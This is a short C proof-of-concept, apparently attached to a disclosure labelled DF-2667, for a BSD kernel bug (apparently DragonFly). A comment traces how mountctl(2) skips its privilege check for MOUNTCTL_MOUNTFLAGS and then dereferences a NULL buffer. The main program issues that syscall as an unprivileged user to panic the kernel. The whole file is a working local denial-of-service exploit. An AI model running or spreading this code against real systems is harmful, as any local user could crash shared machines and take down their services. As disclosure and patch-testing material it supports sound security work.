/*
 * DF-2667 - unprivileged kernel NULL-pointer dereference via mountctl(2)
 *
 *	sys_mountctl() skips the privilege check for op == MOUNTCTL_MOUNTFLAGS
 *	(sys/kern/vfs_syscalls.c:1281).  With buflen == 0 the result buffer is
 *	left NULL (sys/kern/vfs_syscalls.c:1311-1312); the flag-formatting
 *	helper then executes strlen(NULL) *before* its degenerate-length
 *	guard (sys/kern/vfs_subr.c:1996 vs :2003-2006) -> page fault at
 *	address 0 -> kernel panic.
 *
 * Run as an *unprivileged* user.  Expected: kernel panic
 * ("Fatal page fault ... fault virtual address = 0x0").
 */
#include <sys/param.h>
#include <sys/mountctl.h>
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#ifndef SYS_mountctl
#define SYS_mountctl 468
#endif
#ifndef MOUNTCTL_MOUNTFLAGS
#define MOUNTCTL_MOUNTFLAGS 18
#endif

int
main(void)
{
	long rv;

	printf("DF-2667: uid=%d euid=%d, calling mountctl(\"/\", "
	    "MOUNTCTL_MOUNTFLAGS, fd=-1, ctl=NULL, ctllen=0, buf=NULL, "
	    "buflen=0)\n", getuid(), geteuid());
	fflush(stdout);

	/*
	 * int mountctl(const char *path, int op, int fd,
	 *		 const void *ctl, int ctllen, void *buf, int buflen);
	 */
	rv = syscall(SYS_mountctl, "/", MOUNTCTL_MOUNTFLAGS, -1,
	    NULL, 0, NULL, 0);

	/* not reached when the kernel panics */
	printf("DF-2667: mountctl returned %ld (no crash)\n", rv);
	return (0);
}
